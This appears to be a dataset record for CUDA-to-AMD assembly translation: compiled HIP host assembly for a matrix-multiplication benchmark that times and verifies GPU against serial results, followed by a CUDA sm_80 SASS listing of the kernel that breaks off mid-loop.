.section .rodata.cst8,"aM",@progbits,8
.p2align 3, 0x0 # -- Begin function main
.LCPI6_0:
.quad 0x408f400000000000 # double 1000
.LCPI6_2:
.quad 0x3f50624dd2f1a9fc # double 0.001
.section .rodata.cst16,"aM",@progbits,16
.p2align 4, 0x0
.LCPI6_1:
.long 0x7fffffff # float NaN
.long 0x7fffffff # float NaN
.long 0x7fffffff # float NaN
.long 0x7fffffff # float NaN
.text
.globl main
.p2align 4, 0x90
.type main,@function
main: # @main
.cfi_startproc
# %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
pushq %r15
.cfi_def_cfa_offset 24
pushq %r14
.cfi_def_cfa_offset 32
pushq %r13
.cfi_def_cfa_offset 40
pushq %r12
.cfi_def_cfa_offset 48
pushq %rbx
.cfi_def_cfa_offset 56
subq $40, %rsp
.cfi_def_cfa_offset 96
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
.cfi_offset %rbp, -16
movq %rsi, %rbx
movl %edi, %ebp
jmp .LBB6_1
.p2align 4, 0x90
.LBB6_43: # in Loop: Header=BB6_1 Depth=1
movq optarg(%rip), %rdi
xorl %esi, %esi
movl $10, %edx
callq __isoc23_strtol
movl %eax, size(%rip)
.LBB6_1: # =>This Inner Loop Header: Depth=1
movl $.L.str.5, %edx
movl %ebp, %edi
movq %rbx, %rsi
callq getopt
cmpl $110, %eax
je .LBB6_43
# %bb.2: # in Loop: Header=BB6_1 Depth=1
cmpl $-1, %eax
je .LBB6_5
# %bb.3: # in Loop: Header=BB6_1 Depth=1
cmpl $63, %eax
jne .LBB6_1
.LBB6_4:
movq (%rbx), %rsi
movl $.L.str.6, %edi
xorl %eax, %eax
callq printf
xorl %edi, %edi
callq exit
.LBB6_5:
movl size(%rip), %r14d
testl %r14d, %r14d
jle .LBB6_4
# %bb.6:
imulq %r14, %r14
shlq $2, %r14
movq %r14, %rdi
callq malloc
testq %rax, %rax
je .LBB6_7
# %bb.9: # %_Z11make_matrixi.exit
movq %rax, matrixA(%rip)
movq %r14, %rdi
callq malloc
testq %rax, %rax
je .LBB6_7
# %bb.10: # %_Z11make_matrixi.exit32
movq %rax, matrixB(%rip)
movq %r14, %rdi
callq malloc
testq %rax, %rax
je .LBB6_7
# %bb.11: # %_Z11make_matrixi.exit33
movq %rax, matrixC_serial(%rip)
movq %r14, %rdi
callq malloc
testq %rax, %rax
je .LBB6_7
# %bb.12: # %_Z11make_matrixi.exit34
movq %rax, matrixC_cuda(%rip)
xorl %ebx, %ebx
xorl %edi, %edi
callq time
movq %rax, %rdi
callq srand48
movl size(%rip), %r14d
testl %r14d, %r14d
jle .LBB6_17
# %bb.13: # %.preheader.lr.ph.i
movq matrixA(%rip), %r15
xorl %r12d, %r12d
.p2align 4, 0x90
.LBB6_14: # %.preheader.i
# =>This Loop Header: Depth=1
# Child Loop BB6_15 Depth 2
movl %ebx, %eax
leaq (%r15,%rax,4), %r13
xorl %ebp, %ebp
.p2align 4, 0x90
.LBB6_15: # Parent Loop BB6_14 Depth=1
# => This Inner Loop Header: Depth=2
callq drand48
cvtsd2ss %xmm0, %xmm0
movss %xmm0, (%r13,%rbp,4)
incq %rbp
cmpq %rbp, %r14
jne .LBB6_15
# %bb.16: # %._crit_edge.i
# in Loop: Header=BB6_14 Depth=1
incq %r12
addl %r14d, %ebx
cmpq %r14, %r12
jne .LBB6_14
.LBB6_17: # %_Z10set_matrixPfi.exit
movl size(%rip), %ebx
testl %ebx, %ebx
jle .LBB6_22
# %bb.18: # %.preheader.lr.ph.i35
movq matrixB(%rip), %r14
xorl %r15d, %r15d
xorl %r12d, %r12d
.p2align 4, 0x90
.LBB6_19: # %.preheader.i37
# =>This Loop Header: Depth=1
# Child Loop BB6_20 Depth 2
movl %r15d, %eax
leaq (%r14,%rax,4), %r13
xorl %ebp, %ebp
.p2align 4, 0x90
.LBB6_20: # Parent Loop BB6_19 Depth=1
# => This Inner Loop Header: Depth=2
callq drand48
cvtsd2ss %xmm0, %xmm0
movss %xmm0, (%r13,%rbp,4)
incq %rbp
cmpq %rbp, %rbx
jne .LBB6_20
# %bb.21: # %._crit_edge.i43
# in Loop: Header=BB6_19 Depth=1
incq %r12
addl %ebx, %r15d
cmpq %rbx, %r12
jne .LBB6_19
.LBB6_22: # %_Z10set_matrixPfi.exit46
movl $.Lstr.1, %edi
callq puts@PLT
leaq 24(%rsp), %rsi
movl $1, %edi
callq clock_gettime
cmpl $-1, %eax
je .LBB6_23
# %bb.24:
movq matrixA(%rip), %rdi
movq matrixB(%rip), %rsi
movq matrixC_cuda(%rip), %rdx
movl size(%rip), %ecx
callq _Z9cuda_mmulPfS_S_i
leaq 8(%rsp), %rsi
movl $1, %edi
callq clock_gettime
cmpl $-1, %eax
je .LBB6_23
# %bb.25:
movq 8(%rsp), %rax
movq 16(%rsp), %rcx
subq 24(%rsp), %rax
imulq $1000000000, %rax, %rax # imm = 0x3B9ACA00
subq 32(%rsp), %rcx
addq %rax, %rcx
xorps %xmm0, %xmm0
cvtsi2sd %rcx, %xmm0
divsd .LCPI6_0(%rip), %xmm0
movl $.L.str.9, %edi
movb $1, %al
callq printf
movl $.Lstr.2, %edi
callq puts@PLT
leaq 24(%rsp), %rsi
movl $1, %edi
callq clock_gettime
cmpl $-1, %eax
je .LBB6_23
# %bb.26:
movl size(%rip), %eax
testl %eax, %eax
jle .LBB6_33
# %bb.27: # %.preheader.lr.ph.i47
movq matrixA(%rip), %rcx
movq matrixB(%rip), %rdx
movq matrixC_serial(%rip), %rsi
leaq (,%rax,4), %rdi
xorl %r8d, %r8d
xorl %r9d, %r9d
.p2align 4, 0x90
.LBB6_28: # %.preheader.i48
# =>This Loop Header: Depth=1
# Child Loop BB6_29 Depth 2
# Child Loop BB6_30 Depth 3
movl %r8d, %r10d
leaq (%rcx,%r10,4), %r10
movq %r9, %r11
imulq %rax, %r11
leaq (%rsi,%r11,4), %r11
movq %rdx, %rbx
xorl %r14d, %r14d
.p2align 4, 0x90
.LBB6_29: # %.lr.ph.i
# Parent Loop BB6_28 Depth=1
# => This Loop Header: Depth=2
# Child Loop BB6_30 Depth 3
movl $0, (%r11,%r14,4)
xorpd %xmm0, %xmm0
movq %rbx, %r15
xorl %r12d, %r12d
.p2align 4, 0x90
.LBB6_30: # Parent Loop BB6_28 Depth=1
# Parent Loop BB6_29 Depth=2
# => This Inner Loop Header: Depth=3
movss (%r10,%r12), %xmm1 # xmm1 = mem[0],zero,zero,zero
mulss (%r15), %xmm1
addss %xmm1, %xmm0
movss %xmm0, (%r11,%r14,4)
addq $4, %r12
addq %rdi, %r15
cmpq %r12, %rdi
jne .LBB6_30
# %bb.31: # %._crit_edge.i53
# in Loop: Header=BB6_29 Depth=2
incq %r14
addq $4, %rbx
cmpq %rax, %r14
jne .LBB6_29
# %bb.32: # %._crit_edge24.i
# in Loop: Header=BB6_28 Depth=1
incq %r9
addl %eax, %r8d
cmpq %rax, %r9
jne .LBB6_28
.LBB6_33: # %_Z11serial_mmulPfS_S_.exit
leaq 8(%rsp), %rsi
movl $1, %edi
callq clock_gettime
cmpl $-1, %eax
je .LBB6_23
# %bb.34:
movq 8(%rsp), %rax
movq 16(%rsp), %rcx
subq 24(%rsp), %rax
imulq $1000000000, %rax, %rax # imm = 0x3B9ACA00
subq 32(%rsp), %rcx
addq %rax, %rcx
xorps %xmm0, %xmm0
cvtsi2sd %rcx, %xmm0
divsd .LCPI6_0(%rip), %xmm0
movl $.L.str.11, %edi
movb $1, %al
callq printf
cmpl $0, size(%rip)
jle .LBB6_42
# %bb.35: # %.preheader.preheader
xorl %r15d, %r15d
movaps .LCPI6_1(%rip), %xmm1 # xmm1 = [NaN,NaN,NaN,NaN]
movsd .LCPI6_2(%rip), %xmm2 # xmm2 = mem[0],zero
jmp .LBB6_36
.p2align 4, 0x90
.LBB6_41: # %._crit_edge
# in Loop: Header=BB6_36 Depth=1
incl %r15d
cmpl size(%rip), %r15d
jge .LBB6_42
.LBB6_36: # %.preheader
# =>This Loop Header: Depth=1
# Child Loop BB6_38 Depth 2
movl size(%rip), %eax
testl %eax, %eax
jle .LBB6_41
# %bb.37: # %.lr.ph.preheader
# in Loop: Header=BB6_36 Depth=1
movslq %r15d, %rbx
xorl %r14d, %r14d
jmp .LBB6_38
.p2align 4, 0x90
.LBB6_40: # in Loop: Header=BB6_38 Depth=2
movl size(%rip), %eax
incq %r14
cmpl %eax, %r14d
jge .LBB6_41
.LBB6_38: # %.lr.ph
# Parent Loop BB6_36 Depth=1
# => This Inner Loop Header: Depth=2
movq matrixC_cuda(%rip), %rcx
imull %r15d, %eax
cltq
addq %r14, %rax
movss (%rcx,%rax,4), %xmm0 # xmm0 = mem[0],zero,zero,zero
movq matrixC_serial(%rip), %rcx
subss (%rcx,%rax,4), %xmm0
andps %xmm1, %xmm0
cvtss2sd %xmm0, %xmm0
ucomisd %xmm2, %xmm0
jbe .LBB6_40
# %bb.39: # in Loop: Header=BB6_38 Depth=2
movl $.Lstr.4, %edi
callq puts@PLT
movq matrixC_cuda(%rip), %rax
movslq size(%rip), %rcx
imulq %rbx, %rcx
addq %r14, %rcx
movss (%rax,%rcx,4), %xmm0 # xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
movq matrixC_serial(%rip), %rax
movss (%rax,%rcx,4), %xmm1 # xmm1 = mem[0],zero,zero,zero
cvtss2sd %xmm1, %xmm1
movl $.L.str.13, %edi
movl %ebx, %esi
movl %r14d, %edx
movb $2, %al
callq printf
movsd .LCPI6_2(%rip), %xmm2 # xmm2 = mem[0],zero
movaps .LCPI6_1(%rip), %xmm1 # xmm1 = [NaN,NaN,NaN,NaN]
jmp .LBB6_40
.LBB6_42: # %._crit_edge71
movl $.Lstr.3, %edi
callq puts@PLT
xorl %eax, %eax
addq $40, %rsp
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %r12
.cfi_def_cfa_offset 40
popq %r13
.cfi_def_cfa_offset 32
popq %r14
.cfi_def_cfa_offset 24
popq %r15
.cfi_def_cfa_offset 16
popq %rbp
.cfi_def_cfa_offset 8
retq
.LBB6_7:
.cfi_def_cfa_offset 96
movl $.L.str, %edi
jmp .LBB6_8
.LBB6_23:
movl $.L.str.8, %edi
.LBB6_8:
callq perror
xorl %edi, %edi
callq exit
.Lfunc_end6:
.size main, .Lfunc_end6-main
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB7_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB7_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z10cudaMatMulPfS_S_iiii, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end7:
.size __hip_module_ctor, .Lfunc_end7-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB8_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB8_2:
retq
.Lfunc_end8:
.size __hip_module_dtor, .Lfunc_end8-__hip_module_dtor
.cfi_endproc
# -- End function
.type size,@object # @size
.bss
.globl size
.p2align 2, 0x0
size:
.long 0 # 0x0
.size size, 4
.type matrixA,@object # @matrixA
.globl matrixA
.p2align 3, 0x0
matrixA:
.quad 0
.size matrixA, 8
.type matrixB,@object # @matrixB
.globl matrixB
.p2align 3, 0x0
matrixB:
.quad 0
.size matrixB, 8
.type matrixBT,@object # @matrixBT
.globl matrixBT
.p2align 3, 0x0
matrixBT:
.quad 0
.size matrixBT, 8
.type matrixC_serial,@object # @matrixC_serial
.globl matrixC_serial
.p2align 3, 0x0
matrixC_serial:
.quad 0
.size matrixC_serial, 8
.type matrixC_cuda,@object # @matrixC_cuda
.globl matrixC_cuda
.p2align 3, 0x0
matrixC_cuda:
.quad 0
.size matrixC_cuda, 8
.type _Z10cudaMatMulPfS_S_iiii,@object # @_Z10cudaMatMulPfS_S_iiii
.section .rodata,"a",@progbits
.globl _Z10cudaMatMulPfS_S_iiii
.p2align 3, 0x0
_Z10cudaMatMulPfS_S_iiii:
.quad _Z25__device_stub__cudaMatMulPfS_S_iiii
.size _Z10cudaMatMulPfS_S_iiii, 8
.type .L.str,@object # @.str
.section .rodata.str1.1,"aMS",@progbits,1
.L.str:
.asciz "malloc"
.size .L.str, 7
.type .L.str.2,@object # @.str.2
.L.str.2:
.asciz " %f"
.size .L.str.2, 4
.type .L.str.5,@object # @.str.5
.L.str.5:
.asciz "n:p:"
.size .L.str.5, 5
.type .L.str.6,@object # @.str.6
.L.str.6:
.asciz "Usage: %s -n N\n"
.size .L.str.6, 16
.type .L.str.8,@object # @.str.8
.L.str.8:
.asciz "clock_gettime"
.size .L.str.8, 14
.type .L.str.9,@object # @.str.9
.L.str.9:
.asciz "Multi Thread Computation End: %.3f us.\n"
.size .L.str.9, 40
.type .L.str.11,@object # @.str.11
.L.str.11:
.asciz "Single Thread Computation End: %.3f us.\n"
.size .L.str.11, 41
.type .L.str.13,@object # @.str.13
.L.str.13:
.asciz "(%d, %d): %f - %f\n"
.size .L.str.13, 19
.type .L__unnamed_1,@object # @0
.L__unnamed_1:
.asciz "_Z10cudaMatMulPfS_S_iiii"
.size .L__unnamed_1, 25
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.type .Lstr,@object # @str
.section .rodata.str1.1,"aMS",@progbits,1
.Lstr:
.asciz " ]"
.size .Lstr, 3
.type .Lstr.1,@object # @str.1
.Lstr.1:
.asciz "Multi Thread Computation Start"
.size .Lstr.1, 31
.type .Lstr.2,@object # @str.2
.Lstr.2:
.asciz "Single Thread Computation Start"
.size .Lstr.2, 32
.type .Lstr.3,@object # @str.3
.Lstr.3:
.asciz "Verification Success."
.size .Lstr.3, 22
.type .Lstr.4,@object # @str.4
.Lstr.4:
.asciz "Verification Fail."
.size .Lstr.4, 19
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z25__device_stub__cudaMatMulPfS_S_iiii
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z10cudaMatMulPfS_S_iiii
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA device assembly to AMD device assembly. | code for sm_80
Function : _Z10cudaMatMulPfS_S_iiii
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ S2R R5, SR_CTAID.X ; /* 0x0000000000057919 */
/* 0x000e220000002500 */
/*0020*/ MOV R0, c[0x0][0x180] ; /* 0x0000600000007a02 */
/* 0x000fc60000000f00 */
/*0030*/ S2R R2, SR_TID.X ; /* 0x0000000000027919 */
/* 0x000e240000002100 */
/*0040*/ IMAD R7, R0, c[0x0][0x17c], R0 ; /* 0x00005f0000077a24 */
/* 0x000fe400078e0200 */
/*0050*/ S2R R3, SR_CTAID.Y ; /* 0x0000000000037919 */
/* 0x000e680000002600 */
/*0060*/ S2R R4, SR_TID.Y ; /* 0x0000000000047919 */
/* 0x000e620000002200 */
/*0070*/ IMAD R5, R5, c[0x0][0x0], R2 ; /* 0x0000000005057a24 */
/* 0x001fc800078e0202 */
/*0080*/ IMAD R5, R0.reuse, c[0x0][0x178], R5 ; /* 0x00005e0000057a24 */
/* 0x040fe400078e0205 */
/*0090*/ IMAD R3, R3, c[0x0][0x4], R4 ; /* 0x0000010003037a24 */
/* 0x002fe400078e0204 */
/*00a0*/ IMAD R4, R0.reuse, c[0x0][0x178], R0 ; /* 0x00005e0000047a24 */
/* 0x040fe400078e0200 */
/*00b0*/ IMAD R2, R0, c[0x0][0x17c], R3 ; /* 0x00005f0000027a24 */
/* 0x000fc600078e0203 */
/*00c0*/ ISETP.GE.AND P0, PT, R5, R4, PT ; /* 0x000000040500720c */
/* 0x000fc80003f06270 */
/*00d0*/ ISETP.GE.OR P0, PT, R2, R7, P0 ; /* 0x000000070200720c */
/* 0x000fda0000706670 */
/*00e0*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*00f0*/ MOV R4, c[0x0][0x184] ; /* 0x0000610000047a02 */
/* 0x000fe20000000f00 */
/*0100*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fe20000000a00 */
/*0110*/ HFMA2.MMA R21, -RZ, RZ, 0, 0 ; /* 0x00000000ff157435 */
/* 0x000fe200000001ff */
/*0120*/ IMAD R5, R5, c[0x0][0x184], RZ ; /* 0x0000610005057a24 */
/* 0x000fe200078e02ff */
/*0130*/ ISETP.GE.AND P0, PT, R4, 0x1, PT ; /* 0x000000010400780c */
/* 0x000fda0003f06270 */
/*0140*/ @!P0 BRA 0xc90 ; /* 0x00000b4000008947 */
/* 0x000fea0003800000 */
/*0150*/ IADD3 R6, R4.reuse, -0x1, RZ ; /* 0xffffffff04067810 */
/* 0x040fe40007ffe0ff */
/*0160*/ LOP3.LUT R7, R4, 0x3, RZ, 0xc0, !PT ; /* 0x0000000304077812 */
/* 0x000fe400078ec0ff */
/*0170*/ ISETP.GE.U32.AND P0, PT, R6, 0x3, PT ; /* 0x000000030600780c */
/* 0x000fe40003f06070 */
/*0180*/ MOV R21, RZ ; /* 0x000000ff00157202 */
/* 0x000fe40000000f00 */
/*0190*/ MOV R6, RZ ; /* 0x000000ff00067202 */
/* 0x000fd20000000f00 */
/*01a0*/ @!P0 BRA 0xb50 ; /* 0x000009a000008947 */
/* 0x000fea0003800000 */
/*01b0*/ IADD3 R8, -R7, c[0x0][0x184], RZ ; /* 0x0000610007087a10 */
/* 0x000fe20007ffe1ff */
/*01c0*/ HFMA2.MMA R19, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff137435 */
/* 0x000fe200000001ff */
/*01d0*/ ULDC.64 UR6, c[0x0][0x160] ; /* 0x0000580000067ab9 */
/* 0x000fe20000000a00 */
/*01e0*/ HFMA2.MMA R6, -RZ, RZ, 0, 0 ; /* 0x00000000ff067435 */
/* 0x000fe200000001ff */
/*01f0*/ ISETP.GT.AND P0, PT, R8, RZ, PT ; /* 0x000000ff0800720c */
/* 0x000fe40003f04270 */
/*0200*/ MOV R21, RZ ; /* 0x000000ff00157202 */
/* 0x000fca0000000f00 */
/*0210*/ IMAD.WIDE R18, R2, R19, c[0x0][0x168] ; /* 0x00005a0002127625 */
/* 0x000fcc00078e0213 */
/*0220*/ @!P0 BRA 0x9c0 ; /* 0x0000079000008947 */
/* 0x000fea0003800000 */
/*0230*/ ISETP.GT.AND P1, PT, R8, 0xc, PT ; /* 0x0000000c0800780c */
/* 0x000fe40003f24270 */
/*0240*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x80, 0x0 ; /* 0x000000000000781c */
/* 0x000fd60003f0f070 */
/*0250*/ @!P1 BRA 0x700 ; /* 0x000004a000009947 */
/* 0x000fea0003800000 */
/*0260*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*0270*/ MOV R12, UR6 ; /* 0x00000006000c7c02 */
/* 0x000fe20008000f00 */
/*0280*/ LDG.E R10, [R18.64] ; /* 0x00000004120a7981 */
/* 0x0000a2000c1e1900 */
/*0290*/ MOV R13, UR7 ; /* 0x00000007000d7c02 */
/* 0x000fca0008000f00 */
/*02a0*/ IMAD.WIDE R12, R5, 0x4, R12 ; /* 0x00000004050c7825 */
/* 0x000fc800078e020c */
/*02b0*/ IMAD.WIDE R22, R4.reuse, 0x4, R18 ; /* 0x0000000404167825 */
/* 0x040fe200078e0212 */
/*02c0*/ LDG.E R25, [R12.64] ; /* 0x000000040c197981 */
/* 0x000ea8000c1e1900 */
/*02d0*/ LDG.E R24, [R22.64] ; /* 0x0000000416187981 */
/* 0x0002e8000c1e1900 */
/*02e0*/ LDG.E R11, [R12.64+0x4] ; /* 0x000004040c0b7981 */
/* 0x000ee8000c1e1900 */
/*02f0*/ LDG.E R14, [R12.64+0x8] ; /* 0x000008040c0e7981 */
/* 0x000f22000c1e1900 */
/*0300*/ IMAD.WIDE R22, R4, 0x4, R22 ; /* 0x0000000404167825 */
/* 0x002fc600078e0216 */
/*0310*/ LDG.E R19, [R12.64+0x10] ; /* 0x000010040c137981 */
/* 0x001f68000c1e1900 */
/*0320*/ LDG.E R15, [R22.64] ; /* 0x00000004160f7981 */
/* 0x000122000c1e1900 */
/*0330*/ IMAD.WIDE R16, R4, 0x4, R22 ; /* 0x0000000404107825 */
/* 0x000fc600078e0216 */
/*0340*/ LDG.E R9, [R12.64+0x14] ; /* 0x000014040c097981 */
/* 0x000f66000c1e1900 */
/*0350*/ IMAD.WIDE R26, R4.reuse, 0x4, R16 ; /* 0x00000004041a7825 */
/* 0x040fe400078e0210 */
/*0360*/ LDG.E R16, [R16.64] ; /* 0x0000000410107981 */
/* 0x000368000c1e1900 */
/*0370*/ IMAD.WIDE R28, R4.reuse, 0x4, R26 ; /* 0x00000004041c7825 */
/* 0x040fe200078e021a */
/*0380*/ LDG.E R18, [R26.64] ; /* 0x000000041a127981 */
/* 0x000168000c1e1900 */
/*0390*/ LDG.E R20, [R28.64] ; /* 0x000000041c147981 */
/* 0x000968000c1e1900 */
/*03a0*/ LDG.E R17, [R12.64+0xc] ; /* 0x00000c040c117981 */
/* 0x002f62000c1e1900 */
/*03b0*/ IMAD.WIDE R22, R4, 0x4, R28 ; /* 0x0000000404167825 */
/* 0x001fc600078e021c */
/*03c0*/ LDG.E R26, [R12.64+0x1c] ; /* 0x00001c040c1a7981 */
/* 0x000f62000c1e1900 */
/*03d0*/ FFMA R25, R10, R25, R21 ; /* 0x000000190a197223 */
/* 0x004fc60000000015 */
/*03e0*/ LDG.E R10, [R22.64] ; /* 0x00000004160a7981 */
/* 0x0000a8000c1e1900 */
/*03f0*/ LDG.E R21, [R12.64+0x18] ; /* 0x000018040c157981 */
/* 0x000ea2000c1e1900 */
/*0400*/ IMAD.WIDE R22, R4, 0x4, R22 ; /* 0x0000000404167825 */
/* 0x001fc800078e0216 */
/*0410*/ FFMA R27, R24, R11, R25 ; /* 0x0000000b181b7223 */
/* 0x008fe40000000019 */
/*0420*/ IMAD.WIDE R24, R4.reuse, 0x4, R22 ; /* 0x0000000404187825 */
/* 0x040fe200078e0216 */
/*0430*/ LDG.E R11, [R22.64] ; /* 0x00000004160b7981 */
/* 0x0000e6000c1e1900 */
/*0440*/ FFMA R29, R15, R14, R27 ; /* 0x0000000e0f1d7223 */
/* 0x010fe2000000001b */
/*0450*/ LDG.E R28, [R24.64] ; /* 0x00000004181c7981 */
/* 0x000328000c1e1900 */
/*0460*/ LDG.E R27, [R12.64+0x20] ; /* 0x000020040c1b7981 */
/* 0x000f22000c1e1900 */
/*0470*/ IMAD.WIDE R14, R4, 0x4, R24 ; /* 0x00000004040e7825 */
/* 0x000fc600078e0218 */
/*0480*/ LDG.E R25, [R12.64+0x28] ; /* 0x000028040c197981 */
/* 0x002f22000c1e1900 */
/*0490*/ FFMA R29, R16, R17, R29 ; /* 0x00000011101d7223 */
/* 0x020fe4000000001d */
/*04a0*/ IMAD.WIDE R16, R4, 0x4, R14 ; /* 0x0000000404107825 */
/* 0x000fe400078e020e */
/*04b0*/ LDG.E R14, [R14.64] ; /* 0x000000040e0e7981 */
/* 0x000364000c1e1900 */
/*04c0*/ FFMA R29, R18, R19, R29 ; /* 0x00000013121d7223 */
/* 0x000fe4000000001d */
/*04d0*/ IMAD.WIDE R18, R4, 0x4, R16 ; /* 0x0000000404127825 */
/* 0x000fe400078e0210 */
/*04e0*/ LDG.E R16, [R16.64] ; /* 0x0000000410107981 */
/* 0x000364000c1e1900 */
/*04f0*/ FFMA R20, R20, R9, R29 ; /* 0x0000000914147223 */
/* 0x000fc4000000001d */
/*0500*/ LDG.E R9, [R12.64+0x24] ; /* 0x000024040c097981 */
/* 0x000f62000c1e1900 */
/*0510*/ IMAD.WIDE R22, R4, 0x4, R18 ; /* 0x0000000404167825 */
/* 0x001fc600078e0212 */
/*0520*/ LDG.E R24, [R18.64] ; /* 0x0000000412187981 */
/* 0x000768000c1e1900 */
/*0530*/ LDG.E R15, [R12.64+0x2c] ; /* 0x00002c040c0f7981 */
/* 0x002f68000c1e1900 */
/*0540*/ LDG.E R29, [R22.64] ; /* 0x00000004161d7981 */
/* 0x000162000c1e1900 */
/*0550*/ FFMA R10, R10, R21, R20 ; /* 0x000000150a0a7223 */
/* 0x004fe40000000014 */
/*0560*/ IMAD.WIDE R20, R4, 0x4, R22 ; /* 0x0000000404147825 */
/* 0x000fc400078e0216 */
/*0570*/ LDG.E R22, [R12.64+0x38] ; /* 0x000038040c167981 */
/* 0x001ea8000c1e1900 */
/*0580*/ LDG.E R17, [R20.64] ; /* 0x0000000414117981 */
/* 0x0008a2000c1e1900 */
/*0590*/ FFMA R18, R11, R26, R10 ; /* 0x0000001a0b127223 */
/* 0x008fc6000000000a */
/*05a0*/ LDG.E R26, [R12.64+0x30] ; /* 0x000030040c1a7981 */
/* 0x000ee2000c1e1900 */
/*05b0*/ IMAD.WIDE R10, R4, 0x4, R20 ; /* 0x00000004040a7825 */
/* 0x000fc800078e0214 */
/*05c0*/ FFMA R20, R28, R27, R18 ; /* 0x0000001b1c147223 */
/* 0x010fe40000000012 */
/*05d0*/ LDG.E R28, [R12.64+0x34] ; /* 0x000034040c1c7981 */
/* 0x000ea2000c1e1900 */
/*05e0*/ IMAD.WIDE R18, R4, 0x4, R10 ; /* 0x0000000404127825 */
/* 0x000fc600078e020a */
/*05f0*/ LDG.E R27, [R10.64] ; /* 0x000000040a1b7981 */
/* 0x000128000c1e1900 */
/*0600*/ LDG.E R23, [R18.64] ; /* 0x0000000412177981 */
/* 0x000328000c1e1900 */
/*0610*/ LDG.E R10, [R12.64+0x3c] ; /* 0x00003c040c0a7981 */
/* 0x001f22000c1e1900 */
/*0620*/ IADD3 R8, R8, -0x10, RZ ; /* 0xfffffff008087810 */
/* 0x000fe20007ffe0ff */
/*0630*/ FFMA R9, R14, R9, R20 ; /* 0x000000090e097223 */
/* 0x020fc80000000014 */
/*0640*/ FFMA R9, R16, R25, R9 ; /* 0x0000001910097223 */
/* 0x000fe20000000009 */
/*0650*/ ISETP.GT.AND P1, PT, R8, 0xc, PT ; /* 0x0000000c0800780c */
/* 0x000fc60003f24270 */
/*0660*/ FFMA R9, R24, R15, R9 ; /* 0x0000000f18097223 */
/* 0x000fe20000000009 */
/*0670*/ UIADD3 UR6, UP0, UR6, 0x40, URZ ; /* 0x0000004006067890 */
/* 0x000fe2000ff1e03f */
/*0680*/ IADD3 R6, R6, 0x10, RZ ; /* 0x0000001006067810 */
/* 0x000fc60007ffe0ff */
/*0690*/ UIADD3.X UR7, URZ, UR7, URZ, UP0, !UPT ; /* 0x000000073f077290 */
/* 0x000fe200087fe43f */
/*06a0*/ IMAD.WIDE R18, R4, 0x4, R18 ; /* 0x0000000404127825 */
/* 0x002fc800078e0212 */
/*06b0*/ FFMA R9, R29, R26, R9 ; /* 0x0000001a1d097223 */
/* 0x008fc80000000009 */
/*06c0*/ FFMA R9, R17, R28, R9 ; /* 0x0000001c11097223 */
/* 0x004fc80000000009 */
/*06d0*/ FFMA R9, R27, R22, R9 ; /* 0x000000161b097223 */
/* 0x010fc80000000009 */
/*06e0*/ FFMA R21, R23, R10, R9 ; /* 0x0000000a17157223 */
/* 0x000fe20000000009 */
/*06f0*/ @P1 BRA 0x270 ; /* 0xfffffb7000001947 */
/* 0x000fea000383ffff */
/*0700*/ ISETP.GT.AND P1, PT, R8, 0x4, PT ; /* 0x000000040800780c */
/* 0x000fda0003f24270 */
/*0710*/ @!P1 BRA 0x9a0 ; /* 0x0000028000009947 */
/* 0x000fea0003800000 */
